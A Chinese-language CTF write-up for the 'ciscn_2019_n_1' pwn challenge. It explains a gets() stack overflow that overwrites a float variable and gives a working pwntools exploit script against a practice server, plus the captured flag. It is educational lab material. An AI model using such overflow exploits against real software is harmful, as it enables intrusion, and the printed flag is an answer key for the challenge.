ciscn_2019_n_1

ciscn_2019_n_1

逆向分析

image

依旧通过ida分析。

image

main函数里有两个设置缓冲区的,以及调用了func函数,我们看看func是干啥的。

image

一眼就看见了我们的老朋友gets函数,典型的栈溢出了。看这个函数的逻辑,我们需要让这个本来是0.0的v2变成11.28125

而看栈里的内存分配,正好v1可以覆盖v2,所以逻辑就很清楚了。通过v1的栈溢出将v2溢出成11.28125,看ida上面的内存分析

正好是填充完44个v1后就是v2。这样的话就可以开始写payload了。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
import struct
host = "node5.buuoj.cn"
port = 29129
p = remote(host, port)
# 偏移量
#p = process('./pwn1')
offset = 44
float_v2 = struct.pack('<f',11.28125)
payload = flat(
b'a'*offset,
float_v2
)
p.sendline(payload)
# --- 接收Flag ---
# 切换到交互模式,程序会执行cat flag.txt,我们就能看到flag了
log.success("Payload sent! Here comes the flag...")
p.interactive()

import struct来打包float类型的数据,<f,f说明是float浮点数,<说明是小端序。

直接运行。

image

成功!

flag:flag{51c58f04-3144-4d76-a8ca-35611b8362ef}